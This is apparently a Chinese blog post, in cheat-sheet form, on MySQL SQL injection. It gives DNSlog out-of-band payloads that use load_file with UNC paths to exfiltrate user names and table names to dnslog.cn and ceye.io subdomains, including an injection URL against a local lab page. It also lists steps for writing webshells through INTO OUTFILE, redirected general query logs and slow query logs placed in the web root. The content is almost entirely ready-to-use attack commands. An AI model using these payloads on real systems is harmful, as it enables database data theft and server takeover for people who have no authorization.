主题
SQL注入:DNSlog外带盲注回显
利用条件
DBMS中需要有可用的,能直接或间接引发DNS解析过程的子程序,即使用到UNC
Linux没有UNC路径,所以当处于Linux系统时,不能使用该方式获取数据
有个重要条件:load_file()函数可以使用。
也就是说需要配置文件my.ini中secure_file_priv=
UNC
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器.。UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。UNC路径就是类似\softer这样的形式的网络路径
格式: \servername\sharename ,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename
payload:
select load_file(concat('\\',(select hex(user())),'.4efz3f.dnslog.cn/abc'));
http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxx.ceye.io\abc'))--+
图片
①select * into
mysql> select '' into outfile 'E:/1.txt';
Query OK, 1 row affected (0.00 sec)
mysql> select '' into outfile 'E:/1.txt';
Query OK, 1 row affected (0.00 sec)
use test;
drop table if exists vow;
create table vow(name text not null);
insert into vow(name) values('');
select name from vow into outfile 'E:/5.txt';
drop tables vow;
②基于log日志写shell法
查询当前mysql下log日志的默认地址,同时也看下log日志是否为开启状态,并且记录下原地址,方便后面恢复。
set global general_log = on;
开启日志监测,一般是关闭的,如果一直开,文件会很大的。
set global general_log_file = ‘G:/2.php’;
这里设置我们需要写入的路径就可以了。
select ‘’;
查询一个一句话,这个时候log日志里就会记录这个。
set global general_log_file = ‘D:\xampp\mysql\data\LAPTOP-SO1V6ABB.log’;
结束后,再修改为原来的路径。
set global general_log = off;
关闭下日志记录。
最后利用文件包含漏洞获取shell
③通过慢日志查询获得webshell
对日志量庞大,直接访问日志网页极有可能出现 500 错误。通过开启慢查询日志,记录了超时 10s 的 SQL,这样页面的代码量会减轻很多不易导致 500, 配置可解析日志文GETSHELL
show variables like '%slow%'; #查询慢日志配置
long_query_time 的默认值为 10,意思是运行 10S 以上的语句。该值可以指定为微秒的分辨率。具体指运行时间超过 long_query_time 值的 SQL,则会被记录到慢查询日志中。
set GLOBAL slow_query_log_file='D:/phpStudy2016/WWW/slow.php'; #配置慢日志的保存位置
set GLOBAL slow_query_log=on;
set GLOBAL log_queries_not_using_indexes=on;
select '' from mysql.db where sleep(10);
标签:DNSlog,1.0,log,回显,UNC,set,file,日志,select From: https://www.cnblogs.com/o-O-oO/p/18353672